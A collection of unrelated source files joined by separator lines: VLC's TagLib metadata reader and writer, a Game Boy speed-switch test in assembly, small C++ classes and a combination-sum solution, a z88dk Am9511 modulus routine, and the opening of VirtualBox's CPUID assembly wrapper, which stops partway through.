vlc_meta_AddExtra( p_meta, metaName,\
(*list.begin())->toString().toCString( true ) );
SET( "TCOP", Copyright );
SET( "TENC", EncodedBy );
SET( "TLAN", Language );
SET( "TPUB", Publisher );
SET( "TPE2", AlbumArtist );
SET_EXTRA( "USLT", "Lyrics" );
#undef SET_EXTRA
#undef SET
/* */
list = tag->frameListMap()["TRCK"];
if( !list.isEmpty() )
{
ExtractCoupleNumberValues( p_meta, (*list.begin())->toString().toCString( true ),
vlc_meta_TrackNumber, vlc_meta_TrackTotal );
}
/* */
list = tag->frameListMap()["TPOS"];
if( !list.isEmpty() )
{
ExtractCoupleNumberValues( p_meta, (*list.begin())->toString().toCString( true ),
vlc_meta_DiscNumber, vlc_meta_DiscTotal );
}
/* Preferred type of image
* The 21 types are defined in id3v2 standard:
* http://www.id3.org/id3v2.4.0-frames */
static const int pi_cover_score[] = {
0, /* Other */
5, /* 32x32 PNG image that should be used as the file icon */
4, /* File icon of a different size or format. */
20, /* Front cover image of the album. */
19, /* Back cover image of the album. */
13, /* Inside leaflet page of the album. */
18, /* Image from the album itself. */
17, /* Picture of the lead artist or soloist. */
16, /* Picture of the artist or performer. */
14, /* Picture of the conductor. */
15, /* Picture of the band or orchestra. */
9, /* Picture of the composer. */
8, /* Picture of the lyricist or text writer. */
7, /* Picture of the recording location or studio. */
10, /* Picture of the artists during recording. */
11, /* Picture of the artists during performance. */
6, /* Picture from a movie or video related to the track. */
1, /* Picture of a large, coloured fish. */
12, /* Illustration related to the track. */
3, /* Logo of the band or performer. */
2 /* Logo of the publisher (record company). */
};
#define PI_COVER_SCORE_SIZE (sizeof (pi_cover_score) / sizeof (pi_cover_score[0]))
int i_score = -1;
// Try now to get embedded art
list = tag->frameListMap()[ "APIC" ];
if( list.isEmpty() )
return;
for( iter = list.begin(); iter != list.end(); iter++ )
{
ID3v2::AttachedPictureFrame* p_apic =
dynamic_cast<ID3v2::AttachedPictureFrame*>(*iter);
if( !p_apic )
continue;
input_attachment_t *p_attachment;
const char *psz_mime;
char *psz_name, *psz_description;
// Get the mime and description of the image.
// If the description is empty, take the type as a description
psz_mime = p_apic->mimeType().toCString( true );
if( p_apic->description().size() > 0 )
psz_description = strdup( p_apic->description().toCString( true ) );
else
{
if( asprintf( &psz_description, "%i", p_apic->type() ) == -1 )
psz_description = NULL;
}
if( !psz_description )
continue;
psz_name = psz_description;
/* some old iTunes version not only sets incorrectly the mime type
* or the description of the image,
* but also embeds incorrectly the image.
* Recent versions seem to behave correctly */
if( !strncmp( psz_mime, "PNG", 3 ) ||
!strncmp( psz_name, "\xC2\x89PNG", 5 ) )
{
msg_Warn( p_demux_meta, "Invalid picture embedded by broken iTunes version" );
free( psz_description );
continue;
}
const ByteVector picture = p_apic->picture();
const char *p_data = picture.data();
const unsigned i_data = picture.size();
msg_Dbg( p_demux_meta, "Found embedded art: %s (%s) is %u bytes",
psz_name, psz_mime, i_data );
p_attachment = vlc_input_attachment_New( psz_name, psz_mime,
psz_description, p_data, i_data );
if( !p_attachment )
{
free( psz_description );
continue;
}
TAB_APPEND_CAST( (input_attachment_t**),
p_demux_meta->i_attachments, p_demux_meta->attachments,
p_attachment );
free( psz_description );
unsigned i_pic_type = p_apic->type();
if( i_pic_type >= PI_COVER_SCORE_SIZE )
i_pic_type = 0; // Defaults to "Other"
if( pi_cover_score[i_pic_type] > i_score )
{
i_score = pi_cover_score[i_pic_type];
char *psz_url;
if( asprintf( &psz_url, "attachment://%s",
p_attachment->psz_name ) == -1 )
continue;
vlc_meta_SetArtURL( p_meta, psz_url );
free( psz_url );
}
}
}
/**
* Read the meta information from XiphComments
* @param tag: the Xiph Comment
* @param p_demux_meta: the demuxer meta
* @param p_meta: the meta
*/
static void ReadMetaFromXiph( Ogg::XiphComment* tag, demux_meta_t* p_demux_meta, vlc_meta_t* p_meta )
{
StringList list;
bool hasTrackTotal = false;
#define SET( keyName, metaName ) \
list = tag->fieldListMap()[keyName]; \
if( !list.isEmpty() ) \
vlc_meta_Set##metaName( p_meta, (*list.begin()).toCString( true ) );
#define SET_EXTRA( keyName, metaName ) \
list = tag->fieldListMap()[keyName]; \
if( !list.isEmpty() ) \
vlc_meta_AddExtra( p_meta, keyName, (*list.begin()).toCString( true ) );
SET( "COPYRIGHT", Copyright );
SET( "ORGANIZATION", Publisher );
SET( "DATE", Date );
SET( "ENCODER", EncodedBy );
SET( "RATING", Rating );
SET( "LANGUAGE", Language );
SET( "MUSICBRAINZ_TRACKID", TrackID );
SET( "ALBUMARTIST", AlbumArtist );
SET( "DISCNUMBER", DiscNumber );
SET_EXTRA( "MUSICBRAINZ_ALBUMID", VLC_META_EXTRA_MB_ALBUMID );
#undef SET
#undef SET_EXTRA
list = tag->fieldListMap()["TRACKNUMBER"];
if( !list.isEmpty() )
{
int i_values = ExtractCoupleNumberValues( p_meta, (*list.begin()).toCString( true ),
vlc_meta_TrackNumber, vlc_meta_TrackTotal );
hasTrackTotal = i_values == 2;
}
if( !hasTrackTotal )
{
list = tag->fieldListMap()["TRACKTOTAL"];
if( list.isEmpty() )
list = tag->fieldListMap()["TOTALTRACKS"];
if( !list.isEmpty() )
vlc_meta_SetTrackTotal( p_meta, (*list.begin()).toCString( true ) );
}
// Try now to get embedded art
StringList mime_list = tag->fieldListMap()[ "COVERARTMIME" ];
StringList art_list = tag->fieldListMap()[ "COVERART" ];
input_attachment_t *p_attachment;
if( mime_list.size() != 0 && art_list.size() != 0 )
{
// We get only the first covert art
if( mime_list.size() > 1 || art_list.size() > 1 )
msg_Warn( p_demux_meta, "Found %i embedded arts, so using only the first one",
art_list.size() );
const char* psz_name = "cover";
const char* psz_mime = mime_list[0].toCString(true);
const char* psz_description = "cover";
uint8_t *p_data;
int i_data = vlc_b64_decode_binary( &p_data, art_list[0].toCString(true) );
msg_Dbg( p_demux_meta, "Found embedded art: %s (%s) is %i bytes",
psz_name, psz_mime, i_data );
p_attachment = vlc_input_attachment_New( psz_name, psz_mime,
psz_description, p_data, i_data );
free( p_data );
}
else
{
art_list = tag->fieldListMap()[ "METADATA_BLOCK_PICTURE" ];
if( art_list.size() == 0 )
return;
uint8_t *p_data;
int i_cover_score;
int i_cover_idx;
int i_data = vlc_b64_decode_binary( &p_data, art_list[0].toCString(true) );
i_cover_score = i_cover_idx = 0;
/* TODO: Use i_cover_score / i_cover_idx to select the picture. */
p_attachment = ParseFlacPicture( p_data, i_data, 0,
&i_cover_score, &i_cover_idx );
free( p_data );
}
if (p_attachment) {
TAB_APPEND_CAST( (input_attachment_t**),
p_demux_meta->i_attachments, p_demux_meta->attachments,
p_attachment );
char *psz_url;
if( asprintf( &psz_url, "attachment://%s", p_attachment->psz_name ) != -1 ) {
vlc_meta_SetArtURL( p_meta, psz_url );
free( psz_url );
}
}
}
/**
* Read the meta information from mp4 specific tags
* @param tag: the mp4 tag
* @param p_demux_meta: the demuxer meta
* @param p_meta: the meta
*/
static void ReadMetaFromMP4( MP4::Tag* tag, demux_meta_t *p_demux_meta, vlc_meta_t* p_meta )
{
MP4::Item list;
#define SET( keyName, metaName ) \
if( tag->itemListMap().contains(keyName) ) \
{ \
list = tag->itemListMap()[keyName]; \
vlc_meta_Set##metaName( p_meta, list.toStringList().front().toCString( true ) ); \
}
#define SET_EXTRA( keyName, metaName ) \
if( tag->itemListMap().contains(keyName) ) \
{ \
list = tag->itemListMap()[keyName]; \
vlc_meta_AddExtra( p_meta, metaName, list.toStringList().front().toCString( true ) ); \
}
SET("----:com.apple.iTunes:MusicBrainz Track Id", TrackID );
SET_EXTRA("----:com.apple.iTunes:MusicBrainz Album Id", VLC_META_EXTRA_MB_ALBUMID );
#undef SET
#undef SET_EXTRA
if( tag->itemListMap().contains("covr") )
{
MP4::CoverArtList list = tag->itemListMap()["covr"].toCoverArtList();
const char *psz_format = list[0].format() == MP4::CoverArt::PNG ? "image/png" : "image/jpeg";
msg_Dbg( p_demux_meta, "Found embedded art (%s) is %i bytes",
psz_format, list[0].data().size() );
input_attachment_t *p_attachment =
vlc_input_attachment_New( "cover", psz_format, "cover",
list[0].data().data(), list[0].data().size() );
if( p_attachment )
{
TAB_APPEND_CAST( (input_attachment_t**),
p_demux_meta->i_attachments, p_demux_meta->attachments,
p_attachment );
vlc_meta_SetArtURL( p_meta, "attachment://cover" );
}
}
}
/**
* Get the tags from the file using TagLib
* @param p_this: the demux object
* @return VLC_SUCCESS if the operation success
*/
static int ReadMeta( vlc_object_t* p_this)
{
vlc_mutex_locker locker (&taglib_lock);
demux_meta_t* p_demux_meta = (demux_meta_t *)p_this;
vlc_meta_t* p_meta;
FileRef f;
p_demux_meta->p_meta = NULL;
char *psz_uri = input_item_GetURI( p_demux_meta->p_item );
if( unlikely(psz_uri == NULL) )
return VLC_ENOMEM;
char *psz_path = vlc_uri2path( psz_uri );
#if VLC_WINSTORE_APP && TAGLIB_VERSION >= TAGLIB_VERSION_1_11
if( psz_path == NULL )
{
free( psz_uri );
return VLC_EGENERIC;
}
free( psz_path );
stream_t *p_stream = vlc_access_NewMRL( p_this, psz_uri );
free( psz_uri );
if( p_stream == NULL )
return VLC_EGENERIC;
VlcIostream s( p_stream );
f = FileRef( &s );
#else /* VLC_WINSTORE_APP */
free( psz_uri );
if( psz_path == NULL )
return VLC_EGENERIC;
if( !b_extensions_registered )
{
#if TAGLIB_VERSION >= TAGLIB_VERSION_1_11
FileRef::addFileTypeResolver( &aacresolver );
#endif
FileRef::addFileTypeResolver( &m4vresolver );
b_extensions_registered = true;
}
#if defined(_WIN32)
wchar_t *wpath = ToWide( psz_path );
if( wpath == NULL )
{
free( psz_path );
return VLC_EGENERIC;
}
f = FileRef( wpath );
free( wpath );
#else
f = FileRef( psz_path );
#endif
free( psz_path );
#endif /* VLC_WINSTORE_APP */
if( f.isNull() )
return VLC_EGENERIC;
if( !f.tag() || f.tag()->isEmpty() )
return VLC_EGENERIC;
p_demux_meta->p_meta = p_meta = vlc_meta_New();
if( !p_meta )
return VLC_ENOMEM;
// Read the tags from the file
Tag* p_tag = f.tag();
#define SET( tag, meta ) \
if( !p_tag->tag().isNull() && !p_tag->tag().isEmpty() ) \
vlc_meta_Set##meta( p_meta, p_tag->tag().toCString(true) )
#define SETINT( tag, meta ) \
if( p_tag->tag() ) \
{ \
char psz_tmp[10]; \
snprintf( psz_tmp, 10, "%d", p_tag->tag() ); \
vlc_meta_Set##meta( p_meta, psz_tmp ); \
}
SET( title, Title );
SET( artist, Artist );
SET( album, Album );
SET( comment, Description );
SET( genre, Genre );
SETINT( year, Date );
SETINT( track, TrackNum );
#undef SETINT
#undef SET
TAB_INIT( p_demux_meta->i_attachments, p_demux_meta->attachments );
if( APE::File* ape = dynamic_cast<APE::File*>(f.file()) )
{
if( ape->APETag() )
ReadMetaFromAPE( ape->APETag(), p_demux_meta, p_meta );
}
else
if( ASF::File* asf = dynamic_cast<ASF::File*>(f.file()) )
{
if( asf->tag() )
ReadMetaFromASF( asf->tag(), p_demux_meta, p_meta );
}
else
if( FLAC::File* flac = dynamic_cast<FLAC::File*>(f.file()) )
{
if( flac->ID3v2Tag() )
ReadMetaFromId3v2( flac->ID3v2Tag(), p_demux_meta, p_meta );
else if( flac->xiphComment() )
ReadMetaFromXiph( flac->xiphComment(), p_demux_meta, p_meta );
}
else if( MP4::File *mp4 = dynamic_cast<MP4::File*>(f.file()) )
{
if( mp4->tag() )
ReadMetaFromMP4( mp4->tag(), p_demux_meta, p_meta );
}
else if( MPC::File* mpc = dynamic_cast<MPC::File*>(f.file()) )
{
if( mpc->APETag() )
ReadMetaFromAPE( mpc->APETag(), p_demux_meta, p_meta );
}
else if( MPEG::File* mpeg = dynamic_cast<MPEG::File*>(f.file()) )
{
if( mpeg->APETag() )
ReadMetaFromAPE( mpeg->APETag(), p_demux_meta, p_meta );
if( mpeg->ID3v2Tag() )
ReadMetaFromId3v2( mpeg->ID3v2Tag(), p_demux_meta, p_meta );
}
else if( dynamic_cast<Ogg::File*>(f.file()) )
{
if( Ogg::FLAC::File* ogg_flac = dynamic_cast<Ogg::FLAC::File*>(f.file()))
ReadMetaFromXiph( ogg_flac->tag(), p_demux_meta, p_meta );
else if( Ogg::Speex::File* ogg_speex = dynamic_cast<Ogg::Speex::File*>(f.file()) )
ReadMetaFromXiph( ogg_speex->tag(), p_demux_meta, p_meta );
else if( Ogg::Vorbis::File* ogg_vorbis = dynamic_cast<Ogg::Vorbis::File*>(f.file()) )
ReadMetaFromXiph( ogg_vorbis->tag(), p_demux_meta, p_meta );
#if defined(TAGLIB_OPUSFILE_H)
else if( Ogg::Opus::File* ogg_opus = dynamic_cast<Ogg::Opus::File*>(f.file()) )
ReadMetaFromXiph( ogg_opus->tag(), p_demux_meta, p_meta );
#endif
}
else if( dynamic_cast<RIFF::File*>(f.file()) )
{
if( RIFF::AIFF::File* riff_aiff = dynamic_cast<RIFF::AIFF::File*>(f.file()) )
ReadMetaFromId3v2( riff_aiff->tag(), p_demux_meta, p_meta );
else if( RIFF::WAV::File* riff_wav = dynamic_cast<RIFF::WAV::File*>(f.file()) )
ReadMetaFromId3v2( riff_wav->tag(), p_demux_meta, p_meta );
}
else if( TrueAudio::File* trueaudio = dynamic_cast<TrueAudio::File*>(f.file()) )
{
if( trueaudio->ID3v2Tag() )
ReadMetaFromId3v2( trueaudio->ID3v2Tag(), p_demux_meta, p_meta );
}
else if( WavPack::File* wavpack = dynamic_cast<WavPack::File*>(f.file()) )
{
if( wavpack->APETag() )
ReadMetaFromAPE( wavpack->APETag(), p_demux_meta, p_meta );
}
return VLC_SUCCESS;
}
/**
* Write meta information to APE tags
* @param tag: the APE tag
* @param p_item: the input item
*/
static void WriteMetaToAPE( APE::Tag* tag, input_item_t* p_item )
{
char* psz_meta;
#define WRITE( metaName, keyName ) \
psz_meta = input_item_Get##metaName( p_item ); \
if( psz_meta ) \
{ \
String key( keyName, String::UTF8 ); \
String value( psz_meta, String::UTF8 ); \
tag->addValue( key, value, true ); \
} \
free( psz_meta );
WRITE( Copyright, "COPYRIGHT" );
WRITE( Language, "LANGUAGE" );
WRITE( Publisher, "PUBLISHER" );
WRITE( TrackID, "MUSICBRAINZ_TRACKID" );
#undef WRITE
}
/**
* Write meta information to id3v2 tags
* @param tag: the id3v2 tag
* @param p_input: the input item
*/
static void WriteMetaToId3v2( ID3v2::Tag* tag, input_item_t* p_item )
{
char* psz_meta;
#define WRITE( metaName, tagName ) \
psz_meta = input_item_Get##metaName( p_item ); \
if( psz_meta ) \
{ \
ByteVector p_byte( tagName, 4 ); \
tag->removeFrames( p_byte ); \
ID3v2::TextIdentificationFrame* p_frame = \
new ID3v2::TextIdentificationFrame( p_byte, String::UTF8 ); \
p_frame->setText( psz_meta ); \
tag->addFrame( p_frame ); \
} \
free( psz_meta );
WRITE( Copyright, "TCOP" );
WRITE( EncodedBy, "TENC" );
WRITE( Language, "TLAN" );
WRITE( Publisher, "TPUB" );
#undef WRITE
/* Known TXXX frames */
ID3v2::FrameList list = tag->frameListMap()["TXXX"];
#define WRITETXXX( metaName, txxName )\
psz_meta = input_item_Get##metaName( p_item ); \
if ( psz_meta ) \
{ \
ID3v2::UserTextIdentificationFrame *p_txxx; \
for( ID3v2::FrameList::Iterator iter = list.begin(); iter != list.end(); iter++ )\
{ \
p_txxx = dynamic_cast<ID3v2::UserTextIdentificationFrame*>(*iter); \
if( !p_txxx ) \
continue; \
if( !strcmp( p_txxx->description().toCString( true ), txxName ) ) \
{ \
p_txxx->setText( psz_meta ); \
FREENULL( psz_meta ); \
break; \
} \
} \
if( psz_meta ) /* not found in existing custom fields */ \
{ \
ByteVector p_byte( "TXXX", 4 ); \
p_txxx = new ID3v2::UserTextIdentificationFrame( p_byte ); \
p_txxx->setDescription( txxName ); \
p_txxx->setText( psz_meta ); \
free( psz_meta ); \
tag->addFrame( p_txxx ); \
} \
}
WRITETXXX( TrackTotal, "TRACKTOTAL" );
#undef WRITETXXX
/* Write album art */
char *psz_url = input_item_GetArtworkURL( p_item );
if( psz_url == NULL )
return;
char *psz_path = vlc_uri2path( psz_url );
free( psz_url );
if( psz_path == NULL )
return;
const char *psz_mime = vlc_mime_Ext2Mime( psz_path );
FILE *p_file = vlc_fopen( psz_path, "rb" );
if( p_file == NULL )
{
free( psz_path );
return;
}
struct stat st;
if( vlc_stat( psz_path, &st ) == -1 )
{
free( psz_path );
fclose( p_file );
return;
}
off_t file_size = st.st_size;
free( psz_path );
/* Limit picture size to 10MiB */
if( file_size > 10485760 )
{
fclose( p_file );
return;
}
char *p_buffer = new (std::nothrow) char[file_size];
if( p_buffer == NULL )
{
fclose( p_file );
return;
}
if( fread( p_buffer, 1, file_size, p_file ) != (unsigned)file_size )
{
fclose( p_file );
delete[] p_buffer;
return;
}
fclose( p_file );
ByteVector data( p_buffer, file_size );
delete[] p_buffer;
ID3v2::FrameList frames = tag->frameList( "APIC" );
ID3v2::AttachedPictureFrame *frame = NULL;
if( frames.isEmpty() )
{
frame = new TagLib::ID3v2::AttachedPictureFrame;
tag->addFrame( frame );
}
else
{
frame = static_cast<ID3v2::AttachedPictureFrame *>( frames.back() );
}
frame->setPicture( data );
frame->setMimeType( psz_mime );
}
/**
* Write the meta information to XiphComments
* @param tag: the Xiph Comment
* @param p_input: the input item
*/
static void WriteMetaToXiph( Ogg::XiphComment* tag, input_item_t* p_item )
{
char* psz_meta;
#define WRITE( metaName, keyName ) \
psz_meta = input_item_Get##metaName( p_item ); \
if( psz_meta ) \
{ \
String key( keyName, String::UTF8 ); \
String value( psz_meta, String::UTF8 ); \
tag->addField( key, value, true ); \
} \
free( psz_meta );
WRITE( TrackNum, "TRACKNUMBER" );
WRITE( TrackTotal, "TRACKTOTAL" );
WRITE( Copyright, "COPYRIGHT" );
WRITE( Publisher, "ORGANIZATION" );
WRITE( Date, "DATE" );
WRITE( EncodedBy, "ENCODER" );
WRITE( Rating, "RATING" );
WRITE( Language, "LANGUAGE" );
WRITE( TrackID, "MUSICBRAINZ_TRACKID" );
#undef WRITE
}
/**
* Set the tags to the file using TagLib
* @param p_this: the demux object
* @return VLC_SUCCESS if the operation success
*/
static int WriteMeta( vlc_object_t *p_this )
{
vlc_mutex_locker locker (&taglib_lock);
meta_export_t *p_export = (meta_export_t *)p_this;
input_item_t *p_item = p_export->p_item;
FileRef f;
if( !p_item )
{
msg_Err( p_this, "Can't save meta data of an empty input" );
return VLC_EGENERIC;
}
#if defined(_WIN32)
wchar_t *wpath = ToWide( p_export->psz_file );
if( wpath == NULL )
return VLC_EGENERIC;
f = FileRef( wpath, false );
free( wpath );
#else
f = FileRef( p_export->psz_file, false );
#endif
if( f.isNull() || !f.tag() || f.file()->readOnly() )
{
msg_Err( p_this, "File %s can't be opened for tag writing",
p_export->psz_file );
return VLC_EGENERIC;
}
msg_Dbg( p_this, "Writing metadata for %s", p_export->psz_file );
Tag *p_tag = f.tag();
char *psz_meta;
#define SET( a, b ) \
psz_meta = input_item_Get ## a( p_item ); \
if( psz_meta ) \
{ \
String tmp( psz_meta, String::UTF8 ); \
p_tag->set##b( tmp ); \
} \
free( psz_meta );
// Saving all common fields
// If the title is empty, use the name
SET( TitleFbName, Title );
SET( Artist, Artist );
SET( Album, Album );
SET( Description, Comment );
SET( Genre, Genre );
#undef SET
psz_meta = input_item_GetDate( p_item );
if( !EMPTY_STR(psz_meta) ) p_tag->setYear( atoi( psz_meta ) );
else p_tag->setYear( 0 );
free( psz_meta );
psz_meta = input_item_GetTrackNum( p_item );
if( !EMPTY_STR(psz_meta) ) p_tag->setTrack( atoi( psz_meta ) );
else p_tag->setTrack( 0 );
free( psz_meta );
// Try now to write special tags
if( APE::File* ape = dynamic_cast<APE::File*>(f.file()) )
{
if( ape->APETag() )
WriteMetaToAPE( ape->APETag(), p_item );
}
else
if( FLAC::File* flac = dynamic_cast<FLAC::File*>(f.file()) )
{
if( flac->ID3v2Tag() )
WriteMetaToId3v2( flac->ID3v2Tag(), p_item );
else if( flac->xiphComment() )
WriteMetaToXiph( flac->xiphComment(), p_item );
}
else if( MPC::File* mpc = dynamic_cast<MPC::File*>(f.file()) )
{
if( mpc->APETag() )
WriteMetaToAPE( mpc->APETag(), p_item );
}
else if( MPEG::File* mpeg = dynamic_cast<MPEG::File*>(f.file()) )
{
if( mpeg->ID3v2Tag() )
WriteMetaToId3v2( mpeg->ID3v2Tag(), p_item );
else if( mpeg->APETag() )
WriteMetaToAPE( mpeg->APETag(), p_item );
}
else if( dynamic_cast<Ogg::File*>(f.file()) )
{
if( Ogg::FLAC::File* ogg_flac = dynamic_cast<Ogg::FLAC::File*>(f.file()))
WriteMetaToXiph( ogg_flac->tag(), p_item );
else if( Ogg::Speex::File* ogg_speex = dynamic_cast<Ogg::Speex::File*>(f.file()) )
WriteMetaToXiph( ogg_speex->tag(), p_item );
else if( Ogg::Vorbis::File* ogg_vorbis = dynamic_cast<Ogg::Vorbis::File*>(f.file()) )
WriteMetaToXiph( ogg_vorbis->tag(), p_item );
#if defined(TAGLIB_OPUSFILE_H)
else if( Ogg::Opus::File* ogg_opus = dynamic_cast<Ogg::Opus::File*>(f.file()) )
WriteMetaToXiph( ogg_opus->tag(), p_item );
#endif
}
else if( dynamic_cast<RIFF::File*>(f.file()) )
{
if( RIFF::AIFF::File* riff_aiff = dynamic_cast<RIFF::AIFF::File*>(f.file()) )
WriteMetaToId3v2( riff_aiff->tag(), p_item );
else if( RIFF::WAV::File* riff_wav = dynamic_cast<RIFF::WAV::File*>(f.file()) )
WriteMetaToId3v2( riff_wav->tag(), p_item );
}
else if( TrueAudio::File* trueaudio = dynamic_cast<TrueAudio::File*>(f.file()) )
{
if( trueaudio->ID3v2Tag() )
WriteMetaToId3v2( trueaudio->ID3v2Tag(), p_item );
}
else if( WavPack::File* wavpack = dynamic_cast<WavPack::File*>(f.file()) )
{
if( wavpack->APETag() )
WriteMetaToAPE( wavpack->APETag(), p_item );
}
// Save the meta data
f.save();
return VLC_SUCCESS;
}
|
.size 8000
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
xor a, a
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ldff a, (4d)
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 90
call lwaitly_b
xor a, a
ldff(40), a
ld bc, 7a00
ld hl, 8000
ld d, 00
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
pop af
ld b, a
srl a
srl a
srl a
srl a
ld(9800), a
ld a, b
and a, 0f
ld(9801), a
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ldff a, (44)
cmp a, b
jrnz lwaitly_b
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
00 00 08 08 22 22 41 41
7f 7f 41 41 41 41 41 41
00 00 7e 7e 41 41 41 41
7e 7e 41 41 41 41 7e 7e
00 00 3e 3e 41 41 40 40
40 40 40 40 41 41 3e 3e
00 00 7e 7e 41 41 41 41
41 41 41 41 41 41 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 40 40 40 40
7f 7f 40 40 40 40 40 40
|
#pragma once
class GammaPhysics
{
public:
GammaPhysics(const double stepSize) : MS_PER_UPDATE(stepSize) {};
~GammaPhysics(void) = default;
// Step size is constant
void step(void);
private:
GammaPhysics(const GammaPhysics&) = delete;
GammaPhysics& operator=(const GammaPhysics&) = delete;
const double MS_PER_UPDATE;
};
|
class Solution {
private:
vector<vector<int>> res;
void rec(int k, int n, vector<int> &v, int d) {
if (!k && !n) {
res.push_back(v);
return;
}
for (int i = d; i <= 9 && n >= i; ++i) {
v.push_back(i);
rec(k - 1, n - i, v, i + 1);
v.pop_back();
}
}
public:
vector<vector<int>> combinationSum3(int k, int n) {
vector<int> v;
rec(k, n, v, 1);
return res;
}
}; |
// Magic Software, Inc.
// http://www.magic-software.com
// http://www.wild-magic.com
// Copyright (c) 2003. All Rights Reserved
//
// The Wild Magic Library (WML) source code is supplied under the terms of
// the license agreement http://www.magic-software.com/License/WildMagic.pdf
// and may not be copied or disclosed except in accordance with the terms of
// that agreement.
//----------------------------------------------------------------------------
inline const ETManifoldMesh::EMap& ETManifoldMesh::GetEdges () const
{
return m_kEMap;
}
//----------------------------------------------------------------------------
inline const ETManifoldMesh::TMap& ETManifoldMesh::GetTriangles () const
{
return m_kTMap;
}
//----------------------------------------------------------------------------
|
;
; Copyright (c) 2020 Phillip Stevens
;
; This Source Code Form is subject to the terms of the Mozilla Public
; License, v. 2.0. If a copy of the MPL was not distributed with this
; file, You can obtain one at http://mozilla.org/MPL/2.0/.
;
; feilipu, August 2020
;
;-------------------------------------------------------------------------
; asm_am9511_lmod - am9511 long modulus - mod(x,y)= x-y*int(x/y)
;-------------------------------------------------------------------------
SECTION code_clib
SECTION code_fp_am9511
EXTERN __IO_APU_CONTROL
EXTERN __IO_APU_OP_DDIV
EXTERN __IO_APU_OP_DMUL
EXTERN __IO_APU_OP_DSUB
EXTERN __IO_APU_OP_PTOD
EXTERN asm_am9511_pushl_hl
EXTERN asm_am9511_pushl_fastcall
EXTERN asm_am9511_popl
PUBLIC asm_am9511_lmod, asm_am9511_lmod_callee
; enter here for long modulus, x%y, x on stack, y in dehl
.asm_am9511_lmod
exx
ld hl,2
add hl,sp
call asm_am9511_pushl_hl ; x
ld a,__IO_APU_OP_PTOD
out (__IO_APU_CONTROL),a ; push x
exx
call asm_am9511_pushl_fastcall ; y
ld a,__IO_APU_OP_DDIV
out (__IO_APU_CONTROL),a
call asm_am9511_pushl_fastcall ; y
ld a,__IO_APU_OP_DMUL
out (__IO_APU_CONTROL),a
ld a,__IO_APU_OP_DSUB
out (__IO_APU_CONTROL),a ; x%y
jp asm_am9511_popl ; remainder in dehl
; enter here for long modulus callee, x%y, x on stack, y in dehl
.asm_am9511_lmod_callee
exx
pop hl ; ret
pop de
ex (sp),hl ; ret back on stack
ex de,hl
call asm_am9511_pushl_fastcall ; x
ld a,__IO_APU_OP_PTOD
out (__IO_APU_CONTROL),a ; push x
exx
call asm_am9511_pushl_fastcall ; y
ld a,__IO_APU_OP_DDIV
out (__IO_APU_CONTROL),a
call asm_am9511_pushl_fastcall ; y
ld a,__IO_APU_OP_DMUL
out (__IO_APU_CONTROL),a
ld a,__IO_APU_OP_DSUB
out (__IO_APU_CONTROL),a ; x%y
jp asm_am9511_popl ; remainder in dehl
|
; $Id: ASMCpuId.asm 69111 2017-10-17 14:26:02Z vboxsync $
;; @file
; IPRT - ASMCpuIdExSlow().
;
;
; Copyright (C) 2012-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; The contents of this file may alternatively be used under the terms
; of the Common Development and Distribution License Version 1.0
; (CDDL) only, as it comes in the "COPYING.CDDL" file of the
; VirtualBox OSE distribution, in which case the provisions of the
; CDDL are applicable instead of those of the GPL.
;
; You may elect to license modified versions of this file under the
; terms and conditions of either the GPL or the CDDL or both.
;
;*******************************************************************************
;* Header Files *
;*******************************************************************************
%include "iprt/asmdefs.mac"
BEGINCODE
;;
; CPUID with EAX input, returning ALL output registers (no NULL checking).
;
; @param uOperator 8086:bp+4 x86:ebp+8 gcc:rdi msc:rcx
; @param pvEAX 8086:bp+8 x86:ebp+0c gcc:rsi msc:rdx
; @param pvEBX 8086:bp+0c x86:ebp+10 gcc:rdx msc:r8
; @param pvECX 8086:bp+10 x86:ebp+14 gcc:rcx msc:r9
; @param pvEDX 8086:bp+14 x86:ebp+18 gcc:r8 msc:rbp+30h
;
; DECLASM(void) ASMCpuId(uint32_t uOperator, void *pvEAX, void *pvEBX, void *pvECX, void *pvEDX);
;
BEGINPROC_EXPORTED ASMCpuId
push xBP
mov xBP, xSP
push xBX
%ifdef ASM_CALL64_MSC
%if ARCH_BITS != 64
%error ARCH_BITS mismatch?
%endif
mov eax, ecx
mov r10, rdx
cpuid
mov [r10], eax
mov [r8], ebx
mov [r9], ecx
mov r10, [rbp+30h]
mov [r10], edx
%elifdef ASM_CALL64_GCC
mov eax, edi
mov r10, rdx
mov r11, rcx
cpuid
mov [rsi], eax
mov [r10], ebx
mov [r11], ecx
mov [r8], edx
%elif ARCH_BITS == 32
mov eax, [xBP + 08h]
cpuid
push edx
mov edx, [xBP + 0ch]
mov [edx], eax
mov edx, [xBP + 10h]
mov [edx], ebx
mov edx, [xBP + 14h]
mov [edx], ecx
mov edx, [xBP + 18h]
pop dword [edx]
%elif ARCH_BITS == 16
push es
push di
